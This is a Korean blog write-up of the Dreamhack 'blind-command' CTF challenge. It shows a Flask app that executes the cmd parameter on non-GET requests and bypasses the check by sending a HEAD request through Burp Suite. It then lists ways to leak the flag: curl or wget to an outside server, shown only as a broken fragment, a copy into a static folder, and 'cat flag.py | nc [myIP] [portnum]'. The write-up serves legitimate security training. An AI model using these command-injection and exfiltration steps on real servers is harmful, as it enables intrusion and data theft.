카테고리 없음

[Dreamhack] blind-command

부산영롱 2024. 1. 18. 23:13

문제 설명은 아주 간단하다 flag 파일을 읽어보라고 한다. 페이지에 출력되는 문구를 보니 cmd 파라미터에 커맨드를 입력하면 그대로 실행되는 것 같다.

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

해당 페이지는 GET 메소드만 허용하고 있지만 GET 메소드로 요청할 때는 아무 것도 안하고 GET 요청이 아닐때 cmd 파라미터의 명령어를 실행한다.

 

어떤 메소드를 허용하고 있는지 확인해보자.

Burp suite를 이용하여 확인할 수도 있고 아래와 같이 cmd창에서 python을 통해 확인할 수도 있다.

C:\Users\>python
>>>import requests
>>>res = requests.options("http://host3.dreamhack.games:17836/")
>>>print(res.headers)
{'Content-Type': 'text/html; charset=utf-8', 'Allow': 'HEAD, GET, OPTIONS', 'Content-Length': '0',
'Server': 'Werkzeug/1.0.1 Python/3.7.7', 'Date': 'Sun, 21 Jan 2024 15:38:54 GMT'}

 

'Allow' 를 보면 GET 메소드만 사용가능한게 아니라 HEAD 메소드도 사용가능하다고 한다.

HEAD 메소드는 GET 메소드와 동일하지만 응답의 헤더만 보여준다.

 

결론은 cmd 파라미터에 실행할 명령어를 입력한 뒤 HEAD 메소드로 요청해야 한다는건데

나는 Burp suite를 이용해서 메소드를 수정하여 보내기로 했다.

1. [Burp suite 실행] - [Proxy] - [Intercept] - [Intercept is on] - [open browser]

2. [open browser에서 url 입력]

3. [intercept된 requests]

4. [메소드를 HEAD로 변경] - [Intercept is off]

 

system 명령어를 실행해서 flag를 얻는 방법은 다양한데 내가 시도한 방법들을 적어보겠다.

(지금부터 적을 코드들 앞에는 "[서버URL]/?cmd=" 가 생략되어 있다.) 

 

1. Network Outbound

curl, wget 명령어를 통해 외부 서버로 flag를 전송해서 확인하는 방법이다.

외부 서버는 드림핵 툴즈 서비스(https://tools.dreamhack.games/) 를 이용했다.

$ (cat flag.py)" 에서 쌍따옴표는는 꼭 붙여주어야 한다. 안그러면 FLAG와 DH{~~} 사이에 있는 띄어쓰기로 인해 FLAG 문자열만 출력되고 뒤에 있는 값이 출력되지 않는다

 

2. static file directory

프레임워크 또는 다양한 웹 어플리케이션에서는 JS/CSS/Img 등의 정적 리소스를 다루기 위해 Static File Directory를 사용한다. 이를 이용해서 static 폴더를 생성한 뒤 flag를 읽어 static 폴더 내에 저장하고 해당 경로에 접근하여 flag를 확인하는 방법이다.

  • mkdir static; cat flag.py > static/result.txt

위 코드를 입력한 뒤 해당 경로에 접근하면 flag를 확인할 수 있다.

 

3. Reverse Shell

  • cat flag.py | nc [myIP] [portnum]

내가 특정 port를 열어놓은 뒤 서버가 접속하도록 하는 방법이다. 이 방법으로 flag를 얻으려면 포트포워딩을 해야하는데 며칠동안 끙끙대며 설정해봐도 도저히 되지 않는다.

결국 이 방법은 포기....